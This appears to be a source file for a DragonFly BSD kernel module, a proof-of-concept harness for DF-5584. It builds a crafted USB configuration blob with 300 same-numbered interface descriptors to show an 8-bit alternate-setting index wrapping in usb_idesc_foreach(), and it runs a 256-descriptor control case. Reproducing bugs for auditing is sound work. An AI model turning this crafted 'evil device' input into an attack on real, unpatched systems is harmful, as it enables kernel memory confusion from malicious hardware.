DF-5584 / altwrap.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 | /* * DF-5584 PoC harness -- uint8_t iface_index_alt wraparound in * usb_idesc_foreach() (sys/bus/u4b/usb_parse.c:150), missing the * upstream FreeBSD fix (commit 6da5df47, PR 251856, 2020-12-15). * * This KLD calls the REAL in-kernel parser symbols: * usb_idesc_foreach() -- the descriptor walk under audit * usbd_get_no_alts() -- the alt-count used to validate SET_INTERFACE * * Blob: one valid UDESC_CONFIG header + N interface descriptors that ALL * share bInterfaceNumber=0 (i.e. N "alternate settings" of one interface), * each with a unique bAlternateSetting / bInterfaceSubClass byte so we can * tell exactly which descriptor the walk is on. * * Expected on the vulnerable DragonFly kernel: * walk position 257 -> iface_index_alt wraps 255 -> 0 * (idesc#1 alt=0 ... idesc#256 alt=255, idesc#257 alt=0 AGAIN) * Control blob with exactly 256 alts must NOT wrap. * * TEST 3 replicates the exact matching loop of usb_config_parse() * (sys/bus/u4b/usb_device.c:753-826, static -> replicated verbatim in * shape) to show the downstream effect: a full USB_CFG_INIT for alt 0 * would match BOTH the real alt-0 descriptor and the wrapped #257 one, * leaving iface->idesc pointing at the attacker's 257th descriptor. */ #include <sys/param.h> #include <sys/module.h> #include <sys/kernel.h> #include <sys/systm.h> #include <sys/malloc.h> #include <sys/bus.h> #include <bus/u4b/usb.h> #include <bus/u4b/usbdi.h> #include <bus/u4b/usbdi_util.h> #define BLOB_N_IFACE 300 /* > 256 same-numbered idescs */ #define CTRL_N_IFACE 256 /* exactly at the boundary */ static MALLOC_DEFINE(M_ALTWRAP, "altwrap", "DF-5584 crafted config blob"); static uint8_t * build_blob(int n, int *plen) { int total = 9 + 9 * n; uint8_t *b = kmalloc(total, M_ALTWRAP, M_WAITOK | M_ZERO); int i; /* valid 9-byte UDESC_CONFIG header */ b[0] = 9; /* bLength */ b[1] = UDESC_CONFIG; /* bDescriptorType */ b[2] = total & 0xFF; /* wTotalLength (LE) */ b[3] = (total >> 8) & 0xFF; b[4] = 1; /* bNumInterface */ b[5] = 1; /* bConfigurationValue */ b[6] = 0; /* iConfiguration */ b[7] = 0x80; /* bmAttributes */ b[8] = 50; /* bMaxPower */ for (i = 0; i < n; i++) { uint8_t *d = b + 9 + 9 * i; d[0] = 9; /* bLength */ d[1] = UDESC_INTERFACE; d[2] = 0; /* bInterfaceNumber: ALL THE SAME */ d[3] = i & 0xFF; /* bAlternateSetting */ d[4] = 0; /* bNumEndpoints */ d[5] = 0xFF; /* bInterfaceClass */ d[6] = i & 0xFF; /* bInterfaceSubClass: per-descriptor tag */ d[7] = 0; /* bInterfaceProtocol */ d[8] = 0; /* iInterface */ } *plen = total; return (b); } /* * Walk the blob with the REAL usb_idesc_foreach() and report the alt * sequence. Returns the 1-based walk position where the 8-bit alt index * wrapped back to 0, or 0 if no wrap. */ static int walk_and_report(uint8_t *blob, int n, const char *tag) { struct usb_idesc_parse_state ips; struct usb_interface_descriptor *id; int nth = 0, wrap_at = 0, max_alt = -1; memset(&ips, 0x00, sizeof(ips)); while ((id = usb_idesc_foreach((struct usb_config_descriptor *)blob, &ips)) != NULL) { nth++; if (nth <= 2 || nth >= 255) kprintf("ALTWRAP: %s idesc#%3d: iface_index=%d " "iface_index_alt=%3d bAlternateSetting=%3d " "subclass(tag)=%3d\n", tag, nth, ips.iface_index, ips.iface_index_alt, id->bAlternateSetting, id->bInterfaceSubClass); if (ips.iface_index_alt > max_alt) max_alt = ips.iface_index_alt; if (nth > 1 && ips.iface_index_alt == 0 && wrap_at == 0) wrap_at = nth; } kprintf("ALTWRAP: %s walk ended: %d/%d descriptors returned, " "max_alt=%d, WRAP_AT=%d\n", tag, nth, n, max_alt, wrap_at); return (wrap_at); } /* * Replica of the matching core of usb_config_parse() * (sys/bus/u4b/usb_device.c:753-826): a full USB_CFG_INIT pass selecting * alt_index=0 (the "default setting" selection done at every * usbd_set_config_index()). Static function, so the logic is replicated * 1:1 in shape; the walk itself still uses the real usb_idesc_foreach(). */ static void replica_config_parse_init_alt0(uint8_t *blob) { struct usb_idesc_parse_state ips; struct usb_interface_descriptor *id; int matches = 0, last_tag = -1; memset(&ips, 0x00, sizeof(ips)); while ((id = usb_idesc_foreach((struct usb_config_descriptor *)blob, &ips)) != NULL) { /* usb_device.c:760-770: iface_index==ANY && alt_index(0) == * ips.iface_index_alt(0) -> do_init = 1 */ if (ips.iface_index_alt == 0) { matches++; last_tag = id->bInterfaceSubClass; /* usb_device.c:782: iface->idesc = id; (last wins) */ } } kprintf("ALTWRAP: replica usb_config_parse(INIT, alt=0): " "do_init matched %d descriptors; iface->idesc would land on " "descriptor with subclass(tag)=%d (%s)\n", matches, last_tag, matches > 1 ? "ALIASED onto wrapped descriptor" : "first alt-0 only"); } static void altwrap_run(void) { uint8_t *blob; int wrap_evil, wrap_ctrl; uint8_t n_alts; int plen; kprintf("ALTWRAP: === TEST 1: %d same-numbered interface " "descriptors (evil device) ===\n", BLOB_N_IFACE); blob = build_blob(BLOB_N_IFACE, &plen); wrap_evil = walk_and_report(blob, BLOB_N_IFACE, "EVIL"); n_alts = usbd_get_no_alts((struct usb_config_descriptor *)blob, (struct usb_interface_descriptor *)(blob + 9)); kprintf("ALTWRAP: usbd_get_no_alts()=%d while true alt count=%d " "(usb_check_alt_setting bound vs. walk reality)\n", n_alts, BLOB_N_IFACE); kprintf("ALTWRAP: === TEST 2: replica of usb_config_parse full INIT " "selecting alt 0 ===\n"); replica_config_parse_init_alt0(blob); kfree(blob, M_ALTWRAP); kprintf("ALTWRAP: === TEST 3 (control): exactly 256 alts ===\n"); blob = build_blob(CTRL_N_IFACE, &plen); wrap_ctrl = walk_and_report(blob, CTRL_N_IFACE, "CTRL"); kfree(blob, M_ALTWRAP); if (wrap_evil > 0 && wrap_ctrl == 0) kprintf("ALTWRAP: RESULT: WRAP_REPRODUCED " "(evil wrap at idesc#%d; 256-alt control clean)\n", wrap_evil); else kprintf("ALTWRAP: RESULT: NO_WRAP " "(evil=%d ctrl=%d) -- kernel already fixed?\n", wrap_evil, wrap_ctrl); } static int altwrap_modevent(module_t mod, int type, void *data) { switch (type) { case MOD_LOAD: altwrap_run(); return (0); case MOD_UNLOAD: return (0); default: return (EOPNOTSUPP); } } static moduledata_t altwrap_mod = { "altwrap", altwrap_modevent, NULL }; DECLARE_MODULE(altwrap, altwrap_mod, SI_SUB_DRIVERS, SI_ORDER_ANY); MODULE_VERSION(altwrap, 1); |